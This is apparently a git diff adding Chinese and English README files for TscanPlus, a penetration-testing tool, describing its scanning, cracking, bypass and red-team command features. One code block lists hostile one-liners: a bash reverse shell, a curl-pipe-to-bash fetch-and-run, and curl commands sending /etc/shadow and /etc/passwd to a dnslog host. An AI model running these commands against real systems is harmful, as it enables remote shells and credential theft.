+ +另外提醒一下,Awvs对企业使用盗版软件的追究力度还是比较大的,所以大家不要使用盗版破解版本。 + + + +#### 11、空间测绘 + +为使信息搜集更快捷方便,TscanPlus集成了多个网络空间测绘接口,包括鹰图**Hunter、Fofa、shodan、360 Quake、Zoomeye 钟馗之眼、Censys、微步在线ThreatBook、BinaryEdge、VirusTotal**等9个主流空探API,可根据域名、IP地址、端口、应用、服务等进行检索,并对各网络空探结果进行去重整合。 + +**【任务配置】** + +首先要配置key信息,如没有key可点击后面"API申请"进行申请,之后点击启用即可使用该API接口。 + +在主界面选择字段,如域名、IP地址、端口、应用、服务、body、证书、ICON等进行检索,并输入检索条件即可。TscanPlus会对所有结果进行去重和整合。 + +针对Fofa API增加自定义API地址功能,在设置Fofa ApiKey时,如需要使用自定义API地址功能,格式只要按照`邮箱:key||url`,在url和key之间为双竖线即可,示例如下:`9*****@qq.com:3f21a408*********6e3fa8078||http://fofaapi.com`,添加完成后可进行key可用性验证,测试是否能获取数据。 + +
+ + + +**【查询结果】** + +查询结果如下,会显示URL、IP、域名、端口、协议、标题、指纹、应用、Whois、备案、ISP、OS、地区、更新时间、API来源等信息。 + +选择某一行或多行,右键菜单也可对某地址进行单独POC测试、目录枚举、端口扫描等,也可以对数据进行单条保存或全部保存。 + +
+ +支持自定义语法,但由于每种测绘引擎都有不同语法,自定义语法一般无法通用。 + +
+ +无影支持9种常见的空间测绘引擎的单独使用和数据聚合,目前也均已支持多key轮询,以防单key容易触发风控。且各种查询条件均支持多条语句同时查询。 + +
+ +#### 12、编码解码 + +编解码功能模块实现了编码解码、哈希计算、加密解密、国密算法、数据格式化、其他转换等共36种类型,其中编码解码类8种、哈希计算13种、加密解密9种、国密算法3种、数据格式化9种、其他2种。 + +**【任务配置】** + +1、只需在"编码解码"功能页面的左侧栏目中点选对应的编码项,即可添加到右侧Tab中。 + +2、每个Tab支持多个编码叠加,并支持编码的排序,上一个编码的输出会作为下一个编码的输入。 + +3、每种编码都可以选择是否启用、加密或解密,对每个编码可进行输入和输出格式进行设置,支持RAW、Hex、base64等常见格式。 + +4、无影支持多Tab切换,可以根据需求设置多组Tab,以对结果进行对比。 + +5、可记住本次编码配置,下次再运行软件,可直接使用上一次的配置。 + +
+ +**【输出结果】** + +**1、编码解码**:Base64、Base32、URL编解码、ASCII、各进制转换、字符串与进制转换、HTML编解码、Unicode编解码、一键编解码等 + +
+ +一键编解码可实现对输入的字符,进行所有的编码解码并输出结果。 + +
+ +**2、哈希计算**:MD5、HmacMD5、SM3、HmacSM3、SHA1、HmacSHA1、SHA2-224、SHA2-256、SHA2-384、SHA2-512、HmacSHA2、SHA3-224、SHA3-256、SHA3-384、SHA3-512、HmacSHA3、NTLM、HmacNTLM、一键哈希等。 + +
+ +一键哈希可实现对输入的字符,进行所有的哈希计算并输出结果。 + +
+ +**3、加密解密**:AES加解密、RSA加解密、SM2加解密、SM4加解密、DES加解密、3DES加解密、Xor加解密、RC4加解密、Rabbit加解密、自动生成RSA秘钥、自动生成SM2秘钥等 + +
+ +
+ +**4、国密算法**:SM2椭圆曲线非对称加密算法、SM4分组对称密码算法、SM3密码杂凑算法、并支持自动生成SM2秘钥。 + +
+ +**5、数据格式化**:JSON格式化与压缩、XML格式化与压缩、IP地址与整数互转、String.fromCharCode、Unix时间戳互转、文本去除重复行、字母大小写、生成各类随机字符串、字符串反转 + +
+ +
+ +**6、其他**:JWT解析与弱密码、一键解密所有OA + +
+ +#### 13、轻武器库 + +##### 【目录枚举】 + +目录枚举主要是对web站点进行目录枚举,支持字典模式、Fuzz模式、存活探测等,支持HEAD/GET方法,默认使用HEAD方法。 + +**【任务配置】** + +字典默认使用dirsearch内置字典,大约9000条数据,扩展支持asp、aspx、jsp、php、py等格式,TideFuzz开启后会根据枚举结果进行递归Fuzz。 + +如果使用Fuzz模式,需输入fuzz元字符,之后会根据fuzz长度生成字典,但注意fuzz字典不能过大,当字典超过10万行时会提示字典过大,无法扫描。 + +还可以配置超时时间、超时重试次数、间隔时间、URL并发数、目录线程数等,并可以对扩展名、状态码进行过滤。 + +**【扫描结果】** + +扫描结果如下,会显示发现的URL地址、状态码、Body长度等,选择某一行后,可查看Request和Response数据包。 + +最下方会显示目标存活数量、枚举成功数量、检测队列情况、用时等。 + +
+ +##### 【UrlFinder】 + +URLFinder功能可对目标信息进行快速、全面的提取,可用于分析页面中的js与url,查找隐藏在其中的敏感信息或未授权api接口。 + +**【任务配置】** + +输入目标地址后,可进行模式选择,"普通模式"默认对单层链接进行抓取,"深入模式"会对链接进行三层抓取,耗时相对长一些。 + +探测层数可设置探测的链接层数,上限数量是对URL总数进行限制,防止无限制爬取。 + +"仅显示本站"是对URL和JS结果进行过滤,此外还可以配置线程数,并可以对扩展名、状态码、关键词进行过滤。 + +**【扫描结果】** + +扫描结果如下,会显示发现的URL地址、状态码、Body长度等,当发现敏感信息时,会在"标题||敏感信息"列中显示。 + +最下方会显示目标存活数量、枚举成功数量、检测队列情况、用时等。 + +1、对返回同样长度、同样状态码的页面,出现5次以上不再显示 + +2、增加关键字过滤、返回长度过滤、自定义后缀等功能。 + +
+ + + +##### 【Host碰撞】 + +Host碰撞通过修改Host字段来发送数据包,该功能可对 IP和域名碰撞匹配,访问到绑定host才能访问的系统。因为现在越来越多的业 务是通过nginx等负载进行反向代理访问,可能有些内网域名和外网域名使用相同的 负载均衡进行反代,这样就可能通过修改host字段实现访问内网系统。 + +
+ +##### 【40xBypass】 + +做渗透测试时常会碰到40x的资产,而有一些40x的页面是可以绕过的,比如不同的HTTP方法、Referer绕过、代理IP、HTTP Header修改、替换大小写等。40xBypass检测功能集成了8种常见bypass方式,并可在config/4xxBypass目录下修改字典文件。 + +
+ +##### 【Jwt解码及破解】 + +可对jwt进行加解码和秘钥破解,支持HS256、HS384、HS512、RS256、RS384、RS512、ES256、EDDSA等多种算法。内置秘钥字典10W+,两秒可完成, + +
+ +##### 【IP归属查询】 + +针对ip地址、子域名等资产可自动提取,并查询物理地址。并在ip扫描、url探测、子域名枚举时,增加ip查询功能。 + +
+ +
+ + + +##### 【代理池功能】 + +代理池目前主要包括:添加代理、自动爬取代理、代理场景切换、代理验证、代理Listener管理等功能。 + +在开启代理Listener后,可配合不同代理切换模式,轮训、遍历代理池中的所有可用代理,提供代理给无影或其他外部应用进行使用。 + +详细用法介绍可参考:[【无影代理池管理功能介绍】](https://github.com/TideSec/TscanPlus/blob/main/%E6%97%A0%E5%BD%B1%E4%BB%A3%E7%90%86%E6%B1%A0%E7%AE%A1%E7%90%86%E5%8A%9F%E8%83%BD%E4%BB%8B%E7%BB%8D.md) + +
+ +#### + +#### 14、红队命令 + +TscanPlus内置常用红队命令,包括Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类、下载命令31条。内置各类反弹shell命令85条、MSF生成命令21条、CS免杀上线命令等,可根据shell类型、操作系统类型、监听类型自动生成代码。 + +##### **【红队命令】** + +Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类。 + +
+ +##### **【下载命令】** + +内置常见下载命令31条,基本能覆盖内网渗透能用到的下载方法。 + +配置URL地址和目标文件名后,可自动生成相应代码。 + +
+ +##### **【Webshell】** + +内置各种语言的基本一句话webshell和部分免杀马,以及冰蝎、蚁剑、哥斯拉等常见webshell的免杀马,共安全人员参考。 + +
+ +##### **【java编码】** + +有时,通过 `Runtime.getRuntime().exec()` 执行命令有效负载会导致失败。使用 WebShell,反序列化利用或通过其他媒介时,可能会发生这种情况。 + +有时这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义。例如,`ls > dir_listing`在shell中执行应该将当前目录的列表输出到名为的文件中`dir_listing`。但是在`exec()`函数的上下文中,该命令将被解释为获取`>`和`dir_listing`目录的列表。 + +其他时候,其中包含空格的参数会被StringTokenizer类破坏,该类将空格分割为命令字符串。那样的东西`ls "My Directory"`会被解释为`ls '"My' 'Directory"'`。 + +在Base64编码的帮助下,java命令编码转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell再次使管道和重定向更好,并且还确保参数中没有空格。 + +常用命令清单 + +``` +bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 +ping `whoami`.key.dnslog.cn +curl http://www.google.com/bash.txt|bash +curl http://key.dnslog.cn/?r=`whoami` +curl http://key.dnslog.cn/?r=`cat /etc/shadow|base64` +curl http://key.dnslog.cn/?r=$(cat /etc/passwd|base64|tr '\n' '-') +curl http://www.google.com/key.txt +curl http://www.google.com/key.txt -O +curl http://www.google.com/key.txt -o key.txt +``` + +
+ +##### **【反弹shell】** + +可设置IP/PORT、listener类型、shell类型、是否编码,选择你想要的命令后,即可生成响应代码。 + +
+ +##### **【CS上线】** + +CS上线配置CS Payload地址后,即可生成相应代码。 + +
+ +#### 15、辅助工具 + +TscanPlus内置资产分拣、Windows提权辅助、杀软查询等工具。 + +##### **【资产分拣】** + +一键提取资产中的主域名、子域名、IP、URL、Tscan/Fscan结果,并提供收缩模式和C段分拣。 + +**子域名&IP地址(收缩模式)是所有【未指定端口】的子域名和IP地址的集合。在收缩模式下,类似ip:port或domain:port这种指定端口的资产会被剔除。** + +
+ +##### **【密码生成】** + +提供了三种密码生成方式,包括社工字典生成、组织方式和枚举模式。可根据需求不同来生成更有针对性的字典文件。 + +
+ +##### **【密码查询】** + +内置了10733条常见设备和产品的默认账号密码,可直接进行查询并导出。 + +
+ +##### **【提权辅助】** + +根据systeminfo信息查询未修补的漏洞信息,返回漏洞微软编号、补丁编号、漏洞描述、影响系统等信息。 + +
+ +##### **【杀软查询】** + +根据windows的tasklist信息,匹配杀软进程,内置1042条杀软识别规则。返回进程名称、进程ID、杀软名称等信息。 + +
+ +#### 16、其他功能 + +##### **【AI辅助分析】** + +针对poc、js结果增加AI辅助分析功能,方便对发现的漏洞进行智能化分析 + +
+ +可添加大模型并配置 AI 选项,无影内置了两个免费的Key,经测试来看,免费的key也可以满足场景需求。 + +
+ +开启 AI 选项后,在检测 Poc 和 JS 时会自动调用 AI 进行分析。 + +
+ +右键可查看AI分析结果 + +
+ + + +##### **【导出功能】** + +1、在所有功能模块中,新增了导出excel功能,默认会保存在程序根目录下。 + +2、在所有功能模块中,可对所有列内容进行排序和个过滤。 + +3、在所有功能模块中,可多选或全选模板,并进行批量操作,如进行poc检测、密码破解、目录枚举等。 + +4、对软件执行过程中发现的所有资产、威胁进行实时保存,保存路径为程序所有在根目录下的result.txt文件中。 + +
+ +
+ +##### **【数据库管理】** + +可对所有数据进行持久存储和使用。默认DB文件会在config文件下生成。 + +
+ +##### 【配置管理】 + +对各功能配置参数写入配置文件,参数修改后只要执行一次相应功能就会写入配置文件,下次无需再次修改。 + +
+ +红队命令、上线命令、默认密码等可自定义添加,并保存在配置文件。 + +
+ +##### 【主题设置】 + +增加系统主题设定,在任意页面打开"高级配置",可对系统主题进行配置,选择深色或浅色模式。(该功能基于wails框架,mac兼容较好,在windows部分系统上应用可能存在问题) + +
+ +Mac系统下的的深色和浅色主题对比。 + +
+ +##### 【日志功能】 + +增加日志功能,在About页面右侧可实时显示最新程序日志,该日志文件默认存储于“高级配置”—“导出目录”文件夹下,文件名为`TscanPlus-Result.txt`。 + +
+ +### 软件下载 + +Github下载:https://github.com/TideSec/TscanPlus/releases 知识星球:下方二维码(更多、更新版本) + +部分功能还在完善(子域名模块、POC自定义功能等),目前暂不提供源码,这里打包了windows/mac/linux三个版本的TscanPlus供下载。 + +本次编译的均为x64_AMD架构,有需要x86版本或ARM版的可到星球下载。 + +**后续版本更新和Bug反馈也会第一时间在星球进行更新。** + + + +
+ + + + +### 致谢 + +工具开发中参考了很多知名的Go检测工具和指纹识别软件,在此一并感谢。 + +- YHY大佬的承影项目:https://github.com/yhy0/ChYing +- qwtd大佬的Slack项目:https://github.com/qiwentaidi/Slack +- 影舞者大佬的fscan项目:https://github.com/shadow1ng/fscan +- zhzyker大佬的dismap项目:https://github.com/zhzyker/dismap +- ServerScan项目:https://github.com/Adminisme/ServerScan + +### FAQ + +**1、关于Key认证问题** + +(1)只有初次进行Key校验的时候才需要联网(连接到poc.tidesec.com)认证,认证成功后不再需要再联网校验。 + +(2)每个Key只能使用一个客户端,目前主要结合网卡等硬件序列号进行匹配,所以当硬件更换时可能导致认证失败。 + +(3)Key认证只是为了能让poc使用和搜集形成良性循环,"取之于众,用之于众",建议大家手头有poc的可以提交poc。 + +**2、MacOS安装问题** + +Mac上可能遇到不少执行问题,如「xxx已损坏,无法打开,您应该将它移到废纸篓」、「打不开xxx,因为 Apple 无法检查其是否包含恶意软件」、「打不开 xxx,因为它来自身份不明的开发者」,可参考下面两篇文章,基本能解决95%的问题。 + +https://sysin.org/blog/macos-if-crashes-when-opening/ 【macOS 提示:“应用程序” 已损坏,无法打开的解决方法总结】 + +目前Mac遇到的比较多的就是闪退问题,执行下面的命令即可解决: + +`sudo xattr -r -d com.apple.quarantine TscanPlus_darwin_amd64.app` + +如果还是不行,再执行这个: + +`sudo codesign --sign - --force --deep TscanPlus_darwin_amd64.app` + +**3、Windows依赖WebView2环境** + +**(1)系统缺少WebView2环境** + +Wails打包的程序在Windows上运行时依赖 [Microsoft WebView2](https://developer.microsoft.com/zh-cn/microsoft-edge/webview2/?form=MA13LH#download) + +默认情况下Windows11和win2012会安装,但有些旧机器(如Win2k8)不会,如机器没有webview2环境,程序会引导下载安装webview2。 + +可自行手动下载:https://developer.microsoft.com/zh-cn/microsoft-edge/webview2/?form=MA13LH#download + +**(2)安装了WebView2但执行报错** + +如果执行后遇到报错`The WebView2 process crashed and the application needs to be restarted.` + +
+ +此时需要卸载本机webview2后重新安装:https://developer.microsoft.com/zh-cn/microsoft-edge/webview2/?form=MA13LH#download + +**(3)webview2无法卸载重装** + +如果webview2无法卸载,这时需要借助一个小工具[【Windows11轻松设置】](https://github.com/TideSec/TscanPlus/blob/main/soft/Windows11_Tools.7z) + +
+ +
+ +借助该工具可对webview2进行彻底卸载,之后再重新安装即可。 + +**(4)重装后仍无法打开的情况** + +如果在webview2重装后仍无法打开,没有任何提示,可能是webview2和某些特定版本的windows系统再加上wails的go-webview2库融合导致的Bug。这里推荐一个相对兼容性好一些的webview2版本——**WebView2 Runtime 133.0.3065.92**。 + +下载地址:[https://github.com/westinyang/WebView2RuntimeArchive/releases/tag/133.0.3065.92](https://github.com/westinyang/WebView2RuntimeArchive/releases/tag/133.0.3065.92) + +先用上面的【Windows11轻松设置】工具彻底卸载webview2,然后根据自己的系统选择x64或Arm即可,下载后安装即可。 + +成功安装后再用【Windows11轻松设置】看下当前全局版本是否为133.0.3065.92,版本正确之后再尝试打开无影。 + +**4、Linux版运行报错** + +Linux版(AMD64和Arm64版本)是基于Kali 2023/2024系统进行编译,经测试可兼容Kali2023之后版本以及Ubuntu22.04。 + +**另外,Linux版执行要在桌面环境下执行,ssh远程连接环境是没法执行的。** + +对Ubuntu22.04之前的系统和部分Kali2024.03,可能出现的报错: + +(1)报错信息:`libc.so.6: version 'GLIBC_2.34' not found`,此时需额外安装libc6库,可参考https://blog.csdn.net/huazhang_001/article/details/128828999 + +(2)报错信息:`libwebkit2gtk-4.0.so.37: cannot open shared object file`,此时需要安装`libwebkit2gtk`库,ubuntu下可尝试执行`apt-get install libwebkit2gtk-4.0-dev` + +如果安装`apt-get install libwebkit2gtk-4.0-dev`时报错 + +``` +apt install libwebkit2gtk-4.0-dev +Error: Unable to locate package libwebkit2gtk-4.0-dev +Error: Couldn't find any package by glob 'libwebkit2gtk-4.0-dev' +``` + +那么需要依次执行`vi /etc/apt/sources.list` + +在`/etc/apt/sources.list`文件中加入这行 +``` +deb http://gb.archive.ubuntu.com/ubuntu jammy main +``` +之后再执行 +``` +apt update +apt install libwebkit2gtk-4.0-dev +``` + +如果`apt update`更新报错 `Warning: GPG error: http://gb.archive.ubuntu.com/ubuntu jammy InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C` + +那么需要执行`apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 871920D1991BC93C`,注意更换最后的Key。 + +之后再执行`apt update`。 + +如果执行`apt install libwebkit2gtk-4.0-dev`时提示 +``` +libturbojpeg0 : conflicts: libjpeg-turbo8 but 2.1.2-0ubuntu1 is to be installed +E: Error, pkgProblemResolver ::Resolve generated breaks, this may be caused byheld packages. +``` +
+ +那么需要依次执行下面命令 +``` +apt-get remove libjpeg-turbo8 +apt-get remove libturbojpeg0 +``` +之后再执行`apt install libwebkit2gtk-4.0-dev`即可,`libwebkit2gtk-4.0-dev`安装成功后即可正常打开。 + +`libwebkit2gtk-4.0-dev`安装成功后,使用`apt list | grep libwebkit2gtk`命令应可以看到`libwebkit2gtk-4.0-dev`库已被成功安装。 + +
+ +不过Linux的库依赖问题就是个玄学,不建议过度折腾,建议Kali2023之后版本以及Ubuntu22.04。 + +**5、Windows杀软报病毒问题** + +程序使用Go开发,Windows版本使用upx进行了加壳,杀软可能会报毒,请自行排查。 + +**6、程序打开后看不到上方或下方标签栏** + +目前已经在欢迎页面增加"全屏"按钮,方便windows用户一键最大化,但最大化后有时还会出现显示不完全的情况。 + +如最大化之后还是只能看到TscanPlus的中间部分,看不到上方标签栏或下方状态栏,这可能是由于电脑分辨率较低或设置了缩放率而导致。这时需要将分辨率修改为1440*1080以上,同时将缩放率修改为100%即可(**要保证分辨率/缩放率之后逻辑分辨率宽度>=1280px,高度>=830px**)。 + +
+ + +如果按上面的调整后,还是显示不全,那么可以排查下【辅助功能——文本大小】,设置最小显示。 + +
+ + + +**7、运行时提示配置文件不完整的问题** + +`无影`在新系统上第一次运行或在一个新的空目录下启动时,`红队命令`、`下载命令`等模块会提示`配置文件未加载`。 + +
+ +这是`无影`需要联网下载配置文件,只需等待1分钟左右,按提示重启程序即可使用所有功能。如果电脑无法联网,那么访问`https://gitee.com/tidesec/tscanplus-cfg/releases`手动下载最新配置,解压到程序所在的`config`目录下即可。 + +**8、其他软件bug可提到Github的Issue或知识星球中,后续会逐一修复。** + + +### Star History + +[![Star History Chart](https://api.star-history.com/svg?repos=TideSec/TscanPlus&type=Date)](https://star-history.com/#TideSec/TscanPlus&Date) + +[url-docen]: README_EN.md + +[url-TscanClient]: TscanClient.md \ No newline at end of file diff --git a/README_EN.md b/README_EN.md new file mode 100644 index 0000000..7f32af3 --- /dev/null +++ b/README_EN.md @@ -0,0 +1,986 @@ + + +
+ +## TscanPlus + +**TscanPlus** is a comprehensive network security detection and operations tool designed for rapid asset discovery, identification, and assessment. It helps build a foundational asset information database and assists security teams or operations personnel in efficiently scouting and scanning assets, identifying vulnerabilities and attack surfaces. + +**【Main Features】**: Port scanning, service identification, URL fingerprinting, POC validation, weak password brute force, directory scanning, UrlFinder, domain detection, network reconnaissance, project management, etc. + +**【Auxiliary Features】**: Encoding/decoding, encryption/decryption, CSRF exploitation, reverse shell, antivirus detection, privilege escalation tools, common commands, dictionary generation, Java encoding, asset sorting, host collision, 40x Bypass, JWT cracking, IP geolocation lookup, etc. + +https://github.com/TideSec/TscanPlus/assets/46297163/0f8cff21-6c33-4da3-bb6d-5f33d032a23e + + +In 2019, I developed a fingerprint recognition tool in Python — [TideFinger](https://github.com/TideSec/TideFinger), and also launched a free online fingerprint detection platform — Tide Finger [finger.tidesec.com](http://finger.tidesec.com). It has since accumulated over 30,000 users and performs around 2,000 fingerprint recognitions daily. In early 2023, I developed a Go version of [TideFinger_Go](https://github.com/TideSec/TideFinger_Go), gaining valuable experience in web and service fingerprint recognition. + +Later, our team’s senior member developed **Tscan** based on Fscan, primarily for internal POC collection, organization, and forming an automated weapon library. It can accurately detect POCs based on fingerprint recognition results. **无影 (TscanPlus)** builds upon fingerprints and POCs, expanding with multiple automation features, significantly enhancing security operations and detection efficiency, and making it more convenient for cybersecurity professionals. + +**【Key Features】** + +1. **Fingerprint Database**: Built-in with over 52,000 fingerprint entries, capable of fingerprinting 10,000 web systems in just 8-10 minutes. It offers high efficiency and comprehensive fingerprint coverage. +2. **Automatic CMS & POC Association**: The tool automatically tags over 130 common CMS and frameworks used by red teams in fingerprint detection. It includes a large collection of high-quality POCs and supports external POC tools like Nuclei, Afrog, and Xray. It enables fingerprint and POC integration, automatically associating POCs with fingerprint results and providing direct access to POC packet details. +3. **Integrated Functionality**: When performing IP port scanning or URL scanning, it integrates POC detection, password cracking, and directory scanning. When a matching service or product is detected, it automatically triggers password cracking or POC detection. +4. **Weak Password Cracking**: Built-in weak password cracking for 34 common services, helping administrators identify weak passwords within internal networks. The tool includes optimized and simplified username and password dictionaries for each service. Supported services include SSH, RDP, SMB, MYSQL, SQLServer, Oracle, MongoDB, Redis, PostgreSQL, MemCached, Elasticsearch, FTP, Telnet, WinRM, VNC, SVN, Tomcat, WebLogic, JBoss, Zookeeper, Socks5, SNMP, WMI, LDAP, LDAPS, SMTP, POP3, IMAP, SMTP_SSL, IMAP_SSL, POP3_SSL, RouterOS, WebBasicAuth, Webdav, CobaltStrike, etc. +5. **Encoding, Hashing, Encryption, and More**: Supports 36 types of operations, including 8 encoding/decoding methods, 13 hashing algorithms, 9 encryption/decryption algorithms, 3 national encryption algorithms (SM), and 9 data formatting/conversion functions. This includes AES, RSA, SM2, SM4, DES, 3DES, Xor, RC4, Rabbit, Base64, Base32, URL encoding, ASCII, various base conversions, string-to-base conversions, HTML, Unicode, MD5, HMAC, SM3, SHA1, SHA2, SHA3, NTLM, JSON formatting and compression, XML formatting and compression, IP address-integer conversion, Unix timestamp conversion, text deduplication, case conversion, random string generation, string reversal, JWT parsing, weak password decryption, and more. +6. **Directory Enumeration**: Default scanning uses the HEAD method and supports customization of concurrency, timeout, filtering, and dictionary settings. Includes DirSearch dictionary, with options to import custom dictionaries or use the built-in fuzz tool to generate them. +7. **Shell Commands**: Includes 85 reverse shell commands, 26 Win internal commands (credential gathering, privilege escalation, lateral movement), 18 Linux internal commands, 31 download commands, 21 MSF generation commands, and CS evasion shell commands. The tool can automatically generate code based on shell type, OS type, and listener type. +8. **Flexible Proxy Settings**: Supports one-click global proxy configuration or enabling proxy settings for individual modules. It supports both HTTP(S) and SOCKS5 proxies, with authentication support. +9. **Fast Subdomain Enumeration**: Allows fast subdomain detection, with the ability to link to other functionalities. Supports multiple network space discovery platforms via API key integration, with one-click query and deduplication. +10. **Integrated Tools**: Includes asset sorting, JsFinder, Host collision, JWT key cracking, IP lookup, Windows privilege escalation tools, antivirus queries, Shiro decryption, and more. + +**【Disclaimer & License】** + +1. This tool is prohibited from being used for unauthorized commercial purposes, and **is not allowed to be used for unauthorized commercial purposes after any modification**. +2. This tool is intended solely for legitimate and authorized corporate security initiatives. When using this tool for testing, you must **ensure that the activity complies with local laws and regulations**, and that you have **obtained sufficient authorization**. +3. If you engage in any **illegal activities** while using this tool, you will bear full responsibility for the consequences. We will not be liable for any legal or associated liabilities. +4. Before installing and using this tool, please **carefully read and fully understand the terms** and accept all provisions of this agreement. Otherwise, do not use this tool. Your use of this tool, or any other express or implied action indicating acceptance of this agreement, will be considered as your acknowledgment and agreement to the terms of this agreement. + +* ## Table of Contents + + - [Changelog](#changelog) + - [Software Usage](#Software Usage) + - [Software Download and Updates](#1-software-download-and-updates) + - [Welcome](#2-welcome) + - [Project Management](#3-project-management) + - [Port Scanning](#4-port-scanning) + - [URL Detection](#5-url-detection) + - [Domain Enumeration](#6-domain-enumeration) + - [POC Detection](#7-poc-detection) + - [Password Cracking](#8-password-cracking) + - [Space Mapping](#9-space-mapping) + - [Encoding/Decoding](#10-encodingdecoding) + - Light Weapon Library + - [Directory Enumeration](#directory-enumeration) + - [UrlFinder](#urlfinder) + - [Host Collision](#host-collision) + - [40x Bypass](#40x-bypass) + - [JWT Decoding and Cracking](#jwt-decoding-and-cracking) + - [IP Geolocation Lookup](#ip-geolocation-lookup) + - [Proxy Pool Function](#proxy-pool-function) + - Red Team Commands + - [Red Team Commands](#red-team-commands) + - [Download Commands](#download-commands) + - [Web Shell](#web-shell) + - [Java Encoding](#java-encoding) + - [Reverse Shell](#reverse-shell) + - [CS Session](#cs-session) + - Auxiliary Tools + - [Asset Sorting](#asset-sorting) + - [Password Generation](#password-generation) + - [Password Lookup](#password-lookup) + - [Privilege Escalation Assistance](#privilege-escalation-assistance) + - [Antivirus Lookup](#antivirus-lookup) + - Other Features + - [Export Functionality](#export-functionality) + - [Database Management](#database-management) + - [Configuration Management](#configuration-management) + - [Theme Settings](#theme-settings) + - [Log Functionality](#log-functionality) + - [Software Download](#software-download) + - [Acknowledgements](#acknowledgements) + - [FAQ](#faq) + +### Changelog + +Thanks to all the experts for their valuable suggestions and bug reports! + +**v2.6.5** 【2024.12.18】 Added proxy pool management, support for language switching, multiple network interface selection, and fixed/enhanced various features. + +**v2.6** 【2024.10.18】 Added auto-update feature, password cracking result verification, and increased built-in POC count to over 2300. + +**v2.5** 【2024.09.15】 Refactored the port scanning module, improving efficiency by 2-3 times, and addressed high resource usage in POC detection. + +**v2.4** 【2024.09.01】 Optimized false positive detection algorithms, added webshell generation, fixed password cracking detection issues and crashes. + +**v2.3** 【2024.08.12】 Framework upgrade, added log functionality, optimized resource usage, and improved space detection algorithms. + +**v2.2** 【2024.07.22】 Added 1300+ POCs, Key authentication, Host collision, 40x Bypass detection, JWT cracking and encryption/decryption, IP geolocation lookup, etc. + +**v2.1** 【2024.07.01】 Added custom passive fingerprinting, program interruption recovery, custom header information, and export Excel with high-risk asset red-marking. + +**v2.0** 【2024.06.18】 Added encoding/decoding functionality, supporting 36 types of encoding, encryption, decryption, hashing, and custom Nuclei POC matching. + +**v1.9** 【2024.05.28】 Added 8327 fingerprint detection rules, totaling 51,873, remote download of non-core configuration files, and added active fingerprint detection. + +**v1.8** 【2024.05.01】 Improved password cracking functionality with multi-threading optimization, frontend responsiveness optimization for large assets, and project vulnerability detail display. + +**v1.7** 【2024.04.16】 Added asset sorting feature, POC detection now supports direct integration with Nuclei, Xray, and Afrog, and custom POC functionality. + +**v1.6** 【2024.03.25】 Added project management flow, enhanced module interactions, and enabled CRUD operations for all features and data via the database. + +**v1.5** 【2024.03.01】 Added one-click API key availability check, updated AV detection database, and supported adding custom red team commands. + +**v1.4** 【2024.02.18】 Added network space detection module, built-in 9 common space detection APIs, and added recursive directory enumeration and filtering features. + +**v1.3** 【2024.01.22】 Added password generation feature, built-in three generation modes, asset weak password query function with 11,000+ records. + +**v1.2** 【2024.01.10】 Added subdomain enumeration and interface query functions, optimized fingerprint detection for non-web services, and added Excel export feature. + +**v1.1** 【2023.12.27】 Added Java command encoding, refactored directory enumeration for 10x efficiency improvement, and synchronized IP scanning and fingerprint detection. + +**v1.0** 【2023.12.21】 Implemented local/global proxy functionality, supporting HTTP(s)/SOCKS5, official release. + +**v0.9** 【2023.12.19】 Implemented task linkage between features and right-click menu interactions. + +**v0.8** 【2023.12.15】 Added version update check, validity check, and configuration file read/write support. + +**v0.7** 【2023.12.12】 Completed auxiliary features like antivirus query and privilege escalation assistance. + +**v0.6** 【2023.12.10】 Completed reverse shell, CS session, download commands, and red team commands. + +**v0.5** 【2023.12.08】 Implemented directory enumeration and fuzzing mode. + +**v0.4** 【2023.11.29】 Completed weak password cracking module. + +**v0.3** 【2023.11.18】 Implemented POC detection and POC fingerprint matching functionality. + +**v0.2** 【2023.11.01】 Implemented URL scanning and web fingerprinting features. + +**v0.1** 【2023.10.23】 Implemented IP and port scanning, service identification functionality. + +**v0.0** 【2023.10.10】 Selected TscanPlus architecture and initial feature planning. + +### Software Usage + +#### 1. Download and Update + +- **GitHub Download**: [TscanPlus Releases](https://github.com/TideSec/TscanPlus/releases) +- **Knowledge Planet**: 【Sword Shadow Security Lab】 (See QR code below for **more and updated versions**) + +The software is developed using Wails and supports Windows, Mac, Linux, and other systems. It can be used directly after downloading. + +Due to some security settings in macOS, individual issues such as errors or crashes may occur. Please refer to the FAQ at the bottom for more details. + +For Windows users, the program relies on [Microsoft WebView2](https://developer.microsoft.com/en-us/microsoft-edge/webview2/). Windows 11 and Windows Server 2012 installations will install it by default, but some older machines (e.g., Windows Server 2008) may not have it. If WebView2 is missing, the program will guide you to download and install it. Additionally, the Windows version uses UPX compression, so antivirus software might flag it as a virus. Please check your system. + +#### 2. Welcome + +Upon running the software, please carefully read and fully understand the **"Disclaimer & Usage License"**. Afterward, check the **"I agree to all terms"** box on the Welcome page to proceed and use the software. + +![image-20241225162240546](images/image-20241225162240546.png) + +**【Key Authentication Feature】** + +To make the "Shadowless (TscanPlus)" Poc detection more comprehensive and accurate, and to create a healthy ecosystem, a key authentication feature has been added. + +After key authentication, users can access all the built-in POCs. Unauthenticated users are limited to only 420 POCs, while all other features remain fully functional. + +![image-20241225162256822](images/image-20241225162256822.png) + +Upon key authentication, users will have access to all 1300+ built-in POCs. + +![image-20241225162351020](images/image-20241225162351020.png) + +**Three Ways to Obtain a Key:** + +1. **Submit 3 POCs on the Poc platform**: After submitting three POCs, you will receive three keys. For each additional POC submitted, you will receive one more key. + +2. **Submit a valid bug in the discussion group or GitHub Issues**: Once the bug is fixed, you will receive one key. + +3. **Join the Knowledge Planet**: You will receive three keys directly upon joining, and these can be reset every three months. Additionally, each POC submission after that will earn you one more key. + +**Key Authentication Details:** + +1. **Network Requirement**: The first time you authenticate your key, you will need an internet connection (to connect to poc.tidesec.com) for verification. Once successfully authenticated, you will not need to reconnect for subsequent verifications. + +2. **Hardware Binding**: Each key can only be used with one client, typically linked to hardware serial numbers like network card IDs. Therefore, changing hardware may cause the authentication to fail. + +3. **Purpose of Key Authentication**: The key system is designed to support POC usage and collection, creating a beneficial cycle—“What we take from the community, we give back to the community.” We encourage users who have POCs to contribute them. + +**For detailed instructions on submitting, obtaining, and using the key, please visit**: [http://poc.tidesec.com/index/explain.html](http://poc.tidesec.com/index/explain.html) + +#### 3、Project 